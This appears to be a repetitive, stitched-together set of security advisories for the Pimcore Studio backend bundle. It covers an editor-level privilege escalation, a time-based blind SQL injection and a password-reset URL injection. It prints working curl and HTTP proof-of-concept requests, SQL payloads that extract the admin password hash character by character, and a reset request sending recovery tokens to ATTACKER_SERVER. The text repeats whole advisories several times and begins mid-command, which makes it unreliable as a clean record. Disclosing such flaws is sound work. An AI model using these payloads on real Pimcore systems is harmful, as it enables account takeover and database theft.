  "https://your-pimcore/pimcore-studio/api/class/definition/configuration-view/detail/create" \
  -H "Content-Type: application/json" \
  -d '{"name":"UnauthorizedClass","uid":"testuid1"}'

Expected response (vulnerable):

{"id": "testuid1", "name": "UnauthorizedClass", ...}

The class definition is created successfully by a user with no classes permission. The Studio API accepts the request where the Classic Admin would deny it entirely.

Expected response (patched):

{"status": 403, "detail": "Access denied."}

Impact

Any authenticated Pimcore user with the standard objects permission can create class definitions via the Studio API, bypassing the classes permission restriction enforced in the Classic Admin. This is a privilege escalation from editor level to a capability that should be restricted to administrators. Class definition creation generates new database tables and PHP class files on the server, giving an unprivileged user the ability to modify the application schema, introduce malformed class structures, and trigger downstream processing outside their permission scope.

The missing API-layer UID validation compounds this by allowing malformed UIDs to reach the model layer, producing unhandled internal exceptions that may expose stack traces depending on server debug configuration.

• Authentication required from attacker: Yes - valid Pimcore session with objects permission required
• Authentication required from victim: No - no victim action needed
• What is accessible: Full class definition creation capability including database table generation and PHP class file creation on the server

Summary

The Studio API class definition creation endpoint in pimcore/studio-backend-bundle is guarded by the objects permission instead of the classes permission, allowing any standard editor-level user to create class definitions without admin privileges. Class definition creation is a structural admin operation that generates new database tables and PHP class files on the server. Additionally, the API layer performs no format validation on the uid field before passing it to the model layer, relying solely on model-level validation that exists downstream in ClassDefinition::saveClassInternal().

Details

Issue 1 — Incorrect permission guard on CreateController

studio-backend-bundle/src/Class/Controller/DefinitionConfiguration/CreateController.php:

#[IsGranted(UserPermissions::DATA_OBJECTS->value)]

The endpoint POST /pimcore-studio/api/class/definition/configuration-view/detail/create is protected by DATA_OBJECTS (the objects permission), which is a standard editor-level permission granted to content editors for creating and editing data objects. Class definition creation is a structural admin operation equivalent to schema modification, it creates new database tables and generates PHP class files on the server. This operation should require the classes permission, which is the permission Pimcore enforces for class definition management in the Classic Admin.

Any authenticated user with object editing rights can call this endpoint and create new class definitions, bypassing the intended admin-only restriction. The same user cannot perform this action through the Classic Admin UI, confirming the Studio API enforces a weaker permission check than the existing interface.

Correct guard:

#[IsGranted(UserPermissions::CLASSES->value)]

Issue 2 — No UID format validation at the API layer

studio-backend-bundle/src/Class/MappedParameter/CreateClassDefinitionParameters.php:

public function __construct(
    private string $name,
    private string $uid
) {
    if (trim($name) === '' || trim($uid) === '') {
        throw new InvalidArgumentException('Class name and UID cannot be empty.');
    }
}

Only an empty-string check is performed on uid at the API boundary before the value is passed to the model layer. While ClassDefinition::saveClassInternal() now validates the UID format via anchored regex, no equivalent validation exists in CreateClassDefinitionParameters. A malformed UID passes through the API layer without any format check and only fails deep in the model layer, returning an unformatted internal exception to the caller rather than a clean 400 API validation response, which can expose internal stack traces depending on server configuration.

Defense-in-depth requires validation at the API boundary consistent with the model layer. The same regex now applied in ClassDefinition.php should also be enforced here:

if (!preg_match('/^[a-zA-Z0-9][a-zA-Z0-9_]*$/', trim($this->uid))) {
    throw new InvalidArgumentException(
        sprintf('Invalid UID for class definition: %s', $this->uid)
    );
}

Affected files in pimcore/studio-backend-bundle:

• src/Class/Controller/DefinitionConfiguration/CreateController.php
• src/Class/MappedParameter/CreateClassDefinitionParameters.php

Vulnerable endpoint: POST /pimcore-studio/api/class/definition/configuration-view/detail/create

PoC

Prerequisites:

• Pimcore 2026.1.x with Studio API enabled
• A user editor with only the objects permission and no classes permission

Step 1 — Authenticate as the editor user:

curl -s -c /tmp/cookies.txt -X POST \
  "https://your-pimcore/pimcore-studio/api/login" \
  -H "Content-Type: application/json" \
  -d '{"username":"editor","password":"password"}'

Expected response:

{"message": "Login successful"}

Step 2 — Confirm the user has no class management access in Classic Admin

Log into Classic Admin as editor. Verify the Classes menu is not visible and the user cannot access Settings > Classes. This confirms the classes permission is not granted to this user.

Step 3 — Create a class definition via the Studio API despite lacking the classes permission:

curl -s -b /tmp/cookies.txt -X POST \
  "https://your-pimcore/pimcore-studio/api/class/definition/configuration-view/detail/create" \
  -H "Content-Type: application/json" \
  -d '{"name":"UnauthorizedClass","uid":"testuid1"}'

Expected response (vulnerable):

{"id": "testuid1", "name": "UnauthorizedClass", ...}

The class definition is created successfully by a user with no classes permission. The Studio API accepts the request where the Classic Admin would deny it entirely.

Expected response (patched):

{"status": 403, "detail": "Access denied."}

Impact

Any authenticated Pimcore user with the standard objects permission can create class definitions via the Studio API, bypassing the classes permission restriction enforced in the Classic Admin. This is a privilege escalation from editor level to a capability that should be restricted to administrators. Class definition creation generates new database tables and PHP class files on the server, giving an unprivileged user the ability to modify the application schema, introduce malformed class structures, and trigger downstream processing outside their permission scope.

The missing API-layer UID validation compounds this by allowing malformed UIDs to reach the model layer, producing unhandled internal exceptions that may expose stack traces depending on server debug configuration.

• Authentication required from attacker: Yes - valid Pimcore session with objects permission required
• Authentication required from victim: No - no victim action needed
• What is accessible: Full class definition creation capability including database table generation and PHP class file creation on the server

Summary

The Studio API class definition creation endpoint in pimcore/studio-backend-bundle is guarded by the objects permission instead of the classes permission, allowing any standard editor-level user to create class definitions without admin privileges. Class definition creation is a structural admin operation that generates new database tables and PHP class files on the server. Additionally, the API layer performs no format validation on the uid field before passing it to the model layer, relying solely on model-level validation that exists downstream in ClassDefinition::saveClassInternal().

Details

Issue 1 — Incorrect permission guard on CreateController

studio-backend-bundle/src/Class/Controller/DefinitionConfiguration/CreateController.php:

#[IsGranted(UserPermissions::DATA_OBJECTS->value)]

The endpoint POST /pimcore-studio/api/class/definition/configuration-view/detail/create is protected by DATA_OBJECTS (the objects permission), which is a standard editor-level permission granted to content editors for creating and editing data objects. Class definition creation is a structural admin operation equivalent to schema modification, it creates new database tables and generates PHP class files on the server. This operation should require the classes permission, which is the permission Pimcore enforces for class definition management in the Classic Admin.

Any authenticated user with object editing rights can call this endpoint and create new class definitions, bypassing the intended admin-only restriction. The same user cannot perform this action through the Classic Admin UI, confirming the Studio API enforces a weaker permission check than the existing interface.

Correct guard:

#[IsGranted(UserPermissions::CLASSES->value)]

Issue 2 — No UID format validation at the API layer

studio-backend-bundle/src/Class/MappedParameter/CreateClassDefinitionParameters.php:

public function __construct(
    private string $name,
    private string $uid
) {
    if (trim($name) === '' || trim($uid) === '') {
        throw new InvalidArgumentException('Class name and UID cannot be empty.');
    }
}

Only an empty-string check is performed on uid at the API boundary before the value is passed to the model layer. While ClassDefinition::saveClassInternal() now validates the UID format via anchored regex, no equivalent validation exists in CreateClassDefinitionParameters. A malformed UID passes through the API layer without any format check and only fails deep in the model layer, returning an unformatted internal exception to the caller rather than a clean 400 API validation response, which can expose internal stack traces depending on server configuration.

Defense-in-depth requires validation at the API boundary consistent with the model layer. The same regex now applied in ClassDefinition.php should also be enforced here:

if (!preg_match('/^[a-zA-Z0-9][a-zA-Z0-9_]*$/', trim($this->uid))) {
    throw new InvalidArgumentException(
        sprintf('Invalid UID for class definition: %s', $this->uid)
    );
}

Affected files in pimcore/studio-backend-bundle:

• src/Class/Controller/DefinitionConfiguration/CreateController.php
• src/Class/MappedParameter/CreateClassDefinitionParameters.php

Vulnerable endpoint: POST /pimcore-studio/api/class/definition/configuration-view/detail/create

PoC

Prerequisites:

• Pimcore 2026.1.x with Studio API enabled
• A user editor with only the objects permission and no classes permission

Step 1 — Authenticate as the editor user:

curl -s -c /tmp/cookies.txt -X POST \
  "https://your-pimcore/pimcore-studio/api/login" \
  -H "Content-Type: application/json" \
  -d '{"username":"editor","password":"password"}'

Expected response:

{"message": "Login successful"}

Step 2 — Confirm the user has no class management access in Classic Admin

Log into Classic Admin as editor. Verify the Classes menu is not visible and the user cannot access Settings > Classes. This confirms the classes permission is not granted to this user.

Step 3 — Create a class definition via the Studio API despite lacking the classes permission:

curl -s -b /tmp/cookies.txt -X POST \
  "https://your-pimcore/pimcore-studio/api/class/definition/configuration-view/detail/create" \
  -H "Content-Type: application/json" \
  -d '{"name":"UnauthorizedClass","uid":"testuid1"}'

Expected response (vulnerable):

{"id": "testuid1", "name": "UnauthorizedClass", ...}

The class definition is created successfully by a user with no classes permission. The Studio API accepts the request where the Classic Admin would deny it entirely.

Expected response (patched):

{"status": 403, "detail": "Access denied."}

Impact

Any authenticated Pimcore user with the standard objects permission can create class definitions via the Studio API, bypassing the classes permission restriction enforced in the Classic Admin. This is a privilege escalation from editor level to a capability that should be restricted to administrators. Class definition creation generates new database tables and PHP class files on the server, giving an unprivileged user the ability to modify the application schema, introduce malformed class structures, and trigger downstream processing outside their permission scope.

The missing API-layer UID validation compounds this by allowing malformed UIDs to reach the model layer, producing unhandled internal exceptions that may expose stack traces depending on server debug configuration.

• Authentication required from attacker: Yes - valid Pimcore session with objects permission required
• Authentication required from victim: No - no victim action needed
• What is accessible: Full class definition creation capability including database table generation and PHP class file creation on the server

Summary

An authenticated user extracts the admin password hash and any other database content through a time-based blind SQL injection in the DateFilter column key parameter. The POST /pimcore-studio/api/website-settings endpoint (and 11 other listing endpoints) accepts a columnFilters array where the key field is interpolated directly into SQL with only manual backtick wrapping. The DateFilter uses fixed named parameters (:minTime, :maxTime), so the injected column name is not subject to PDO named parameter validation. An attacker breaks out of the backtick quoting with a backtick character and appends arbitrary SQL, including SLEEP() for time-based extraction and IF() subqueries for conditional data exfiltration.

Vulnerability Details

Exploitable: DateFilter with Fixed Named Parameters

src/Listing/Filter/DateFilter.php lines 49-57 handle the on operator. The column key comes from user input and is placed in the SQL with manual backtick wrapping, while the named parameters are hardcoded as :minTime and :maxTime:

$key = $column->getKey();  // user-controlled, no validation
$dateCondition = '`' . $key . '` ' . ' BETWEEN :minTime AND :maxTime';
$listing->addConditionParam($dateCondition, ['minTime' => $value, 'maxTime' => ...]);

Because the named parameters are fixed strings, PDO accepts the binding regardless of what the column name contains.

Same Pattern in Note FilterService

src/Note/Service/FilterService.php lines 64-67:

$dateCondition = '`' . $filter[$propertyKey] . '` ' . ' BETWEEN :minTime AND :maxTime';
$list->addConditionParam($dateCondition, ['minTime' => $value, 'maxTime' => $maxTime]);

No Validation on Column Key

src/MappedParameter/Filter/ColumnFilter.php accepts any string as the key with zero validation or allowlisting.

Why Backtick Wrapping is Not Escaping

Manual backtick wrapping ('`' . $key . '`') does not escape internal backtick characters. quoteIdentifier() doubles them, manual wrapping does not. A backtick in the key breaks out of the quoting and the -- (double dash space) comments out the remainder of the query:

Input: key = "id` BETWEEN 0 AND 99999999999) AND SLEEP(3)-- "

Produces:

(`id` BETWEEN 0 AND 99999999999) AND SLEEP(3)-- `  BETWEEN :minTime AND :maxTime)

Everything after -- is a SQL comment. The injected SLEEP(3) executes unconditionally.

Contrast with Safe Patterns in the Same Codebase

• LogRepository.php line 202: uses $this->dbResolver->get()->quoteIdentifier() (safe)
• ClassificationStore/Configuration/KeyRepository.php: uses ALLOWED_SORT_KEYS allowlist (safe)

Note on EqualsFilter/LikeFilter

The EqualsFilter and LikeFilter have the same manual backtick wrapping, but they reuse the column name as the PDO named parameter (:columnName). PDO requires named parameters to match [a-zA-Z0-9_], so injection characters cause a parameter binding error before SQL execution. These filters are not exploitable through this vector. The DateFilter is exploitable because it uses independent fixed parameter names.

Steps to Reproduce

Tested on Pimcore 12.x (2026.x branch, latest commit 82f9ff6), Docker, PHP 8.4, MariaDB 10.11.

Step 1: Baseline request (no injection)

POST /pimcore-studio/api/website-settings HTTP/1.1
Host: localhost:8095
Content-Type: application/json
Cookie: PHPSESSID=<AUTHENTICATED_SESSION>

{"page":1,"pageSize":10}

Response: HTTP/1.1 200 OK -- totalItems: 1 -- 0.07 seconds

Step 2: Unconditional SLEEP(3) injection

POST /pimcore-studio/api/website-settings HTTP/1.1
Host: localhost:8095
Content-Type: application/json
Cookie: PHPSESSID=<AUTHENTICATED_SESSION>

{"page":1,"pageSize":10,"filters":{"columnFilters":[{"key":"id` BETWEEN 0 AND 99999999999) AND SLEEP(3)-- ","type":"date","filterValue":{"operator":"on","value":"2024-01-01"}}]}}

Response: HTTP/1.1 200 OK -- totalItems: 0 -- 6.07 seconds

The 6-second delay (3s x 2 queries: SELECT + COUNT) confirms SQL injection. The MySQL general log shows the injected SQL executed:

SELECT id FROM website_settings WHERE (`id` BETWEEN 0 AND 99999999999) AND SLEEP(3)-- `  BETWEEN :minTime AND :maxTime)  ORDER BY `id` ASC LIMIT 50

Step 3: Conditional SLEEP proving data extraction (TRUE case)

This query tests whether the admin password hash starts with $2y$ (bcrypt, hex 0x24327924). If true, the server sleeps 3 seconds. If false, no delay.

POST /pimcore-studio/api/website-settings HTTP/1.1
Host: localhost:8095
Content-Type: application/json
Cookie: PHPSESSID=<AUTHENTICATED_SESSION>

{"page":1,"pageSize":10,"filters":{"columnFilters":[{"key":"id` BETWEEN 0 AND 99999999999) AND IF((SELECT SUBSTRING(password,1,4) FROM users WHERE id=1)=0x24327924,SLEEP(3),0)-- ","type":"date","filterValue":{"operator":"on","value":"2024-01-01"}}]}}

Response: HTTP/1.1 200 OK -- 6.07 seconds (TRUE: admin password hash starts with $2y$)

Step 4: Conditional SLEEP (FALSE case, wrong guess)

Same query but testing for XXXX (hex 0x58585858) instead:

POST /pimcore-studio/api/website-settings HTTP/1.1
Host: localhost:8095
Content-Type: application/json
Cookie: PHPSESSID=<AUTHENTICATED_SESSION>

{"page":1,"pageSize":10,"filters":{"columnFilters":[{"key":"id` BETWEEN 0 AND 99999999999) AND IF((SELECT SUBSTRING(password,1,4) FROM users WHERE id=1)=0x58585858,SLEEP(3),0)-- ","type":"date","filterValue":{"operator":"on","value":"2024-01-01"}}]}}

Response: HTTP/1.1 200 OK -- 0.07 seconds (FALSE: password does not start with XXXX)

Timing comparison

| Request | Payload | Response Time | Meaning | |---------|---------|---------------|---------| | Baseline | No injection | 0.07s | Normal | | Unconditional SLEEP | AND SLEEP(3) | 6.07s | Injection confirmed | | Conditional TRUE | IF(password starts with $2y$, SLEEP(3), 0) | 6.07s | Data extracted: hash is bcrypt | | Conditional FALSE | IF(password starts with XXXX, SLEEP(3), 0) | 0.07s | Control: no match, no delay |

By iterating through characters with SUBSTRING(password, N, 1), an attacker extracts the full bcrypt hash for offline cracking, or extracts passwordRecoveryToken values for direct account takeover without cracking.

Impact

An authenticated user with website_settings permission (or any permission granting access to a listing endpoint with DateFilter support) extracts the full contents of any database table one character at a time through conditional time-based blind SQL injection.

Directly extractable high-value data:

• Admin password hashes (users.password) for offline cracking
• Password recovery tokens (users.passwordRecoveryToken) for direct account takeover via POST /login/token
• Session data for session hijacking
• All PIM product data, CMS content, and asset metadata

Affected Endpoints

All endpoints using ListingFilter::applyFilters() with a DateFilter on column filter:

• POST /pimcore-studio/api/website-settings
• POST /pimcore-studio/api/notifications
• POST /pimcore-studio/api/recycle-bin
• POST /pimcore-studio/api/redirects
• POST /pimcore-studio/api/translations/{domain}
• POST /pimcore-studio/api/quantity-value/units
• POST /pimcore-studio/api/properties
• POST /pimcore-studio/api/classification-store/{storeId}/keys
• POST /pimcore-studio/api/classification-store/{storeId}/groups
• POST /pimcore-studio/api/classification-store/{storeId}/collections
• GET /pimcore-studio/api/notes/{elementType}/{id} (via Note FilterService fieldFilters)

Recommended Fix

Replace manual backtick wrapping with Doctrine\DBAL\Connection::quoteIdentifier(), or implement a per-listing allowlist of valid column names:

// Option 1: quoteIdentifier (doubles internal backticks)
$db = \Pimcore\Db::get();
$dateCondition = $db->quoteIdentifier($key) . ' BETWEEN :minTime AND :maxTime';

// Option 2: allowlist (preferred)
private const ALLOWED_COLUMNS = ['id', 'name', 'date', 'type', 'creationDate', 'modificationDate'];
if (!in_array($key, self::ALLOWED_COLUMNS, true)) {
    throw new InvalidArgumentException('Invalid filter column');
}

Apply the same fix to EqualsFilter, LikeFilter, and Note/FilterService as defense-in-depth, even though those are currently protected by PDO named parameter validation.

Supporting Materials

• Live-tested on Pimcore 12.x (2026.x branch, commit 82f9ff6), Docker, PHP 8.4, MariaDB 10.11
• MySQL general query log confirms injected SQL reaches the database
• The safe pattern (quoteIdentifier()) exists in the same codebase in LogRepository.php line 202
• Package: pimcore/studio-backend-bundle

Summary

An unauthenticated attacker takes over any Pimcore admin account by sending a password reset request with an attacker-controlled resetPasswordUrl. The server generates a real cryptographic recovery token, appends it to the attacker's URL, and emails the link to the victim. When the victim clicks the link in their email, the token is sent to the attacker's server. The attacker then uses POST /pimcore-studio/api/login/token to authenticate as the victim with full admin privileges. Token login explicitly disables two-factor authentication, so even accounts with TOTP/Google Authenticator are compromised.

Vulnerability Details

Unauthenticated Endpoint Accepts Attacker URL

The reset password endpoint at src/User/Controller/ResetPasswordController.php line 53 is public (uses PUBLIC_STUDIO_API voter). The ResetPassword schema at src/User/Schema/ResetPassword.php accepts a resetPasswordUrl string as a required parameter with zero validation. No URL scheme check, no domain allowlist, no comparison against the configured system domain.

final readonly class ResetPassword
{
    public function __construct(
        private string $username,
        private string $resetPasswordUrl  // attacker-controlled, no validation
    ) {}
}

Token Appended to Attacker URL

In src/User/Service/UserLoginService.php at line 64-65, the service generates a real recovery token and concatenates the attacker's URL with the token:

$token = $this->authenticationResolver->generateTokenByUser($user);
$loginUrl = $resetPassword->getResetPasswordUrl() . '?token=' . $token;

The token is generated and stored in the database BEFORE sendResetPasswordMail() is called on line 68. Even if email delivery fails, the token exists.

Token Login Bypasses 2FA

src/Security/Authenticator/AdminTokenAuthenticator.php line 60 explicitly disables 2FA on token login:

$pimcoreUser->setTwoFactorAuthentication('required', false);

Token Validity

The token is encrypted with the application secret, valid for 24 hours, and single-use (nullified after authentication). The attacker's server captures it before the victim completes any reset flow.

Steps to Reproduce

Tested on Pimcore 12.x (2026.x branch, latest commit 82f9ff6), Docker, PHP 8.4.

1. Send password reset with attacker URL (no authentication needed)

POST /pimcore-studio/api/user/reset-password HTTP/1.1
Host: TARGET
Content-Type: application/json

{"username":"admin","resetPasswordUrl":"https://ATTACKER_SERVER:9999/steal"}

• Response: 500 (email delivery failed in test env, but token def5020020bd133... visible in error trace, confirmed generated in DB

2. Confirm token was generated

Database query shows the recovery token was created:

 name    has_token   token_prefix
 admin   1           def50200cdbd3c1292288a716c623f

3. Token login (after victim clicks the link in their email)

POST /pimcore-studio/api/login/token HTTP/1.1
Host: TARGET
Content-Type: application/json

{"token":"def50200cdbd3c1292288a716c623f...full_token..."}

Response:

HTTP/1.1 200 OK
Set-Cookie: PHPSESSID=48d784c5bfcc09c8b897f2ab34038419; path=/; httponly; samesite=strict
Set-Cookie: pimcore_studio_auth_profile_token=d7a9ad; path=/; httponly; samesite=lax

4. Verify full admin access with the stolen session

GET /pimcore-studio/api/users HTTP/1.1
Host: TARGET
Cookie: PHPSESSID=48d784c5bfcc09c8b897f2ab34038419

Response: HTTP/1.1 200 OK

{"totalItems":1,"items":[{"id":1,"username":"admin","additionalAttributes":[]}]}

Full admin session obtained. All CMS content, assets, PIM data, user accounts, and system configuration are accessible.

Impact

An unauthenticated attacker who knows a valid admin username takes over the account with full administrative privileges. The only user interaction is the victim clicking a password reset link in a legitimate email from the Pimcore instance. The email comes from the real Pimcore server, making it indistinguishable from a genuine reset email.

The attack bypasses authentication (public endpoint), two-factor authentication (explicitly disabled on token login), and rate limiting (allows 3 attempts per window, trivially worked around with multiple IPs).

Once authenticated as admin, the attacker controls all CMS content, digital assets, PIM product data, user accounts, system configuration, and server-side code execution via class definitions.

Recommended Fix

Remove the resetPasswordUrl parameter entirely and construct the URL server-side from the configured system domain:

$loginUrl = 'https://' . $this->domain . '/admin/login?token=' . $token;

If the frontend needs to specify the URL for multi-domain setups, validate the host against the configured domain and any registered Site domains.

Supporting Materials

• Live-tested on Pimcore 12.x (2026.x branch, Docker, PHP 8.4)
• Package: pimcore/studio-backend-bundle
• Distinct from CVE-2021-39189 (user enumeration in password reset, not URL injection)

Summary

The Studio API class definition creation endpoint in pimcore/studio-backend-bundle is guarded by the objects permission instead of the classes permission, allowing any standard editor-level user to create class definitions without admin privileges. Class definition creation is a structural admin operation that generates new database tables and PHP class files on the server. Additionally, the API layer performs no format validation on the uid field before passing it to the model layer, relying solely on model-level validation that exists downstream in ClassDefinition::saveClassInternal().

Details

Issue 1 — Incorrect permission guard on CreateController

studio-backend-bundle/src/Class/Controller/DefinitionConfiguration/CreateController.php:

#[IsGranted(UserPermissions::DATA_OBJECTS->value)]

The endpoint POST /pimcore-studio/api/class/definition/configuration-view/detail/create is protected by DATA_OBJECTS (the objects permission), which is a standard editor-level permission granted to content editors for creating and editing data objects. Class definition creation is a structural admin operation equivalent to schema modification, it creates new database tables and generates PHP class files on the server. This operation should require the classes permission, which is the permission Pimcore enforces for class definition management in the Classic Admin.

Any authenticated user with object editing rights can call this endpoint and create new class definitions, bypassing the intended admin-only restriction. The same user cannot perform this action through the Classic Admin UI, confirming the Studio API enforces a weaker permission check than the existing interface.

Correct guard:

#[IsGranted(UserPermissions::CLASSES->value)]

Issue 2 — No UID format validation at the API layer

studio-backend-bundle/src/Class/MappedParameter/CreateClassDefinitionParameters.php:

public function __construct(
    private string $name,
    private string $uid
) {
    if (trim($name) === '' || trim($uid) === '') {
        throw new InvalidArgumentException('Class name and UID cannot be empty.');
    }
}

Only an empty-string check is performed on uid at the API boundary before the value is passed to the model layer. While ClassDefinition::saveClassInternal() now validates the UID format via anchored regex, no equivalent validation exists in CreateClassDefinitionParameters. A malformed UID passes through the API layer without any format check and only fails deep in the model layer, returning an unformatted internal exception to the caller rather than a clean 400 API validation response, which can expose internal stack traces depending on server configuration.

Defense-in-depth requires validation at the API boundary consistent with the model layer. The same regex now applied in ClassDefinition.php should also be enforced here:

if (!preg_match('/^[a-zA-Z0-9][a-zA-Z0-9_]*$/', trim($this->uid))) {
    throw new InvalidArgumentException(
        sprintf('Invalid UID for class definition: %s', $this->uid)
    );
}

Affected files in pimcore/studio-backend-bundle:

• src/Class/Controller/DefinitionConfiguration/CreateController.php
• src/Class/MappedParameter/CreateClassDefinitionParameters.php

Vulnerable endpoint: POST /pimcore-studio/api/class/definition/configuration-view/detail/create

PoC

Prerequisites:

• Pimcore 2026.1.x with Studio API enabled
• A user editor with only the objects permission and no classes permission

Step 1 — Authenticate as the editor user:

curl -s -c /tmp/cookies.txt -X POST \
  "https://your-pimcore/pimcore-studio/api/login" \
  -H "Content-Type: application/json" \
  -d '{"username":"editor","password":"password"}'

Expected response:

{"message": "Login successful"}

Step 2 — Confirm the user has no class management access in Classic Admin

Log into Classic Admin as editor. Verify the Classes menu is not visible and the user cannot access Settings > Classes. This confirms the classes permission is not granted to this user.

Step 3 — Create a class definition via the Studio API despite lacking the classes permission:

curl -s -b /tmp/cookies.txt -X POST \
  "https://your-pimcore/pimcore-studio/api/class/definition/configuration-view/detail/create" \
  -H "Content-Type: application/json" \
  -d '{"name":"UnauthorizedClass","uid":"testuid1"}'

Expected response (vulnerable):

{"id": "testuid1", "name": "UnauthorizedClass", ...}

The class definition is created successfully by a user with no classes permission. The Studio API accepts the request where the Classic Admin would deny it entirely.

Expected response (patched):

{"status": 403, "detail": "Access denied."}

Impact

Any authenticated Pimcore user with the standard objects permission can create class definitions via the Studio API, bypassing the classes permission restriction enforced in the Classic Admin. This is a privilege escalation from editor level to a capability that should be restricted to administrators. Class definition creation generates new database tables and PHP class files on the server, giving an unprivileged user the ability to modify the application schema, introduce malformed class structures, and trigger downstream processing outside their permission scope.

The missing API-layer UID validation compounds this by allowing malformed UIDs to reach the model layer, producing unhandled internal exceptions that may expose stack traces depending on server debug configuration.

• Authentication required from attacker: Yes - valid Pimcore session with objects permission required
• Authentication required from victim: No - no victim action needed
• What is accessible: Full class definition creation capability including database table generation and PHP class file creation on the server

Summary

An authenticated user extracts the admin password hash and any other database content through a time-based blind SQL injection in the DateFilter column key parameter. The POST /pimcore-studio/api/website-settings endpoint (and 11 other listing endpoints) accepts a columnFilters array where the key field is interpolated directly into SQL with only manual backtick wrapping. The DateFilter uses fixed named parameters (:minTime, :maxTime), so the injected column name is not subject to PDO named parameter validation. An attacker breaks out of the backtick quoting with a backtick character and appends arbitrary SQL, including SLEEP() for time-based extraction and IF() subqueries for conditional data exfiltration.

Vulnerability Details

Exploitable: DateFilter with Fixed Named Parameters

src/Listing/Filter/DateFilter.php lines 49-57 handle the on operator. The column key comes from user input and is placed in the SQL with manual backtick wrapping, while the named parameters are hardcoded as :minTime and :maxTime:

$key = $column->getKey();  // user-controlled, no validation
$dateCondition = '`' . $key . '` ' . ' BETWEEN :minTime AND :maxTime';
$listing->addConditionParam($dateCondition, ['minTime' => $value, 'maxTime' => ...]);

Because the named parameters are fixed strings, PDO accepts the binding regardless of what the column name contains.

Same Pattern in Note FilterService

src/Note/Service/FilterService.php lines 64-67:

$dateCondition = '`' . $filter[$propertyKey] . '` ' . ' BETWEEN :minTime AND :maxTime';
$list->addConditionParam($dateCondition, ['minTime' => $value, 'maxTime' => $maxTime]);

No Validation on Column Key

src/MappedParameter/Filter/ColumnFilter.php accepts any string as the key with zero validation or allowlisting.

Why Backtick Wrapping is Not Escaping

Manual backtick wrapping ('`' . $key . '`') does not escape internal backtick characters. quoteIdentifier() doubles them, manual wrapping does not. A backtick in the key breaks out of the quoting and the -- (double dash space) comments out the remainder of the query:

Input: key = "id` BETWEEN 0 AND 99999999999) AND SLEEP(3)-- "

Produces:

(`id` BETWEEN 0 AND 99999999999) AND SLEEP(3)-- `  BETWEEN :minTime AND :maxTime)

Everything after -- is a SQL comment. The injected SLEEP(3) executes unconditionally.

Contrast with Safe Patterns in the Same Codebase

• LogRepository.php line 202: uses $this->dbResolver->get()->quoteIdentifier() (safe)
• ClassificationStore/Configuration/KeyRepository.php: uses ALLOWED_SORT_KEYS allowlist (safe)

Note on EqualsFilter/LikeFilter

The EqualsFilter and LikeFilter have the same manual backtick wrapping, but they reuse the column name as the PDO named parameter (:columnName). PDO requires named parameters to match [a-zA-Z0-9_], so injection characters cause a parameter binding error before SQL execution. These filters are not exploitable through this vector. The DateFilter is exploitable because it uses independent fixed parameter names.

Steps to Reproduce

Tested on Pimcore 12.x (2026.x branch, latest commit 82f9ff6), Docker, PHP 8.4, MariaDB 10.11.

Step 1: Baseline request (no injection)

POST /pimcore-studio/api/website-settings HTTP/1.1
Host: localhost:8095
Content-Type: application/json
Cookie: PHPSESSID=<AUTHENTICATED_SESSION>

{"page":1,"pageSize":10}

Response: HTTP/1.1 200 OK -- totalItems: 1 -- 0.07 seconds

Step 2: Unconditional SLEEP(3) injection

POST /pimcore-studio/api/website-settings HTTP/1.1
Host: localhost:8095
Content-Type: application/json
Cookie: PHPSESSID=<AUTHENTICATED_SESSION>

{"page":1,"pageSize":10,"filters":{"columnFilters":[{"key":"id` BETWEEN 0 AND 99999999999) AND SLEEP(3)-- ","type":"date","filterValue":{"operator":"on","value":"2024-01-01"}}]}}

Response: HTTP/1.1 200 OK -- totalItems: 0 -- 6.07 seconds

The 6-second delay (3s x 2 queries: SELECT + COUNT) confirms SQL injection. The MySQL general log shows the injected SQL executed:

SELECT id FROM website_settings WHERE (`id` BETWEEN 0 AND 99999999999) AND SLEEP(3)-- `  BETWEEN :minTime AND :maxTime)  ORDER BY `id` ASC LIMIT 50

Step 3: Conditional SLEEP proving data extraction (TRUE case)

This query tests whether the admin password hash starts with $2y$ (bcrypt, hex 0x24327924). If true, the server sleeps 3 seconds. If false, no delay.

POST /pimcore-studio/api/website-settings HTTP/1.1
Host: localhost:8095
Content-Type: application/json
Cookie: PHPSESSID=<AUTHENTICATED_SESSION>

{"page":1,"pageSize":10,"filters":{"columnFilters":[{"key":"id` BETWEEN 0 AND 99999999999) AND IF((SELECT SUBSTRING(password,1,4) FROM users WHERE id=1)=0x24327924,SLEEP(3),0)-- ","type":"date","filterValue":{"operator":"on","value":"2024-01-01"}}]}}

Response: HTTP/1.1 200 OK -- 6.07 seconds (TRUE: admin password hash starts with $2y$)

Step 4: Conditional SLEEP (FALSE case, wrong guess)

Same query but testing for XXXX (hex 0x58585858) instead:

POST /pimcore-studio/api/website-settings HTTP/1.1
Host: localhost:8095
Content-Type: application/json
Cookie: PHPSESSID=<AUTHENTICATED_SESSION>

{"page":1,"pageSize":10,"filters":{"columnFilters":[{"key":"id` BETWEEN 0 AND 99999999999) AND IF((SELECT SUBSTRING(password,1,4) FROM users WHERE id=1)=0x58585858,SLEEP(3),0)-- ","type":"date","filterValue":{"operator":"on","value":"2024-01-01"}}]}}

Response: HTTP/1.1 200 OK -- 0.07 seconds (FALSE: password does not start with XXXX)

Timing comparison

| Request | Payload | Response Time | Meaning | |---------|---------|---------------|---------| | Baseline | No injection | 0.07s | Normal | | Unconditional SLEEP | AND SLEEP(3) | 6.07s | Injection confirmed | | Conditional TRUE | IF(password starts with $2y$, SLEEP(3), 0) | 6.07s | Data extracted: hash is bcrypt | | Conditional FALSE | IF(password starts with XXXX, SLEEP(3), 0) | 0.07s | Control: no match, no delay |

By iterating through characters with SUBSTRING(password, N, 1), an attacker extracts the full bcrypt hash for offline cracking, or extracts passwordRecoveryToken values for direct account takeover without cracking.

Impact

An authenticated user with website_settings permission (or any permission granting access to a listing endpoint with DateFilter support) extracts the full contents of any database table one character at a time through conditional time-based blind SQL injection.

Directly extractable high-value data:

• Admin password hashes (users.password) for offline cracking
• Password recovery tokens (users.passwordRecoveryToken) for direct account takeover via POST /login/token
• Session data for session hijacking
• All PIM product data, CMS content, and asset metadata

Affected Endpoints

All endpoints using ListingFilter::applyFilters() with a DateFilter on column filter:

• POST /pimcore-studio/api/website-settings
• POST /pimcore-studio/api/notifications
• POST /pimcore-studio/api/recycle-bin
• POST /pimcore-studio/api/redirects
• POST /pimcore-studio/api/translations/{domain}
• POST /pimcore-studio/api/quantity-value/units
• POST /pimcore-studio/api/properties
• POST /pimcore-studio/api/classification-store/{storeId}/keys
• POST /pimcore-studio/api/classification-store/{storeId}/groups
• POST /pimcore-studio/api/classification-store/{storeId}/collections
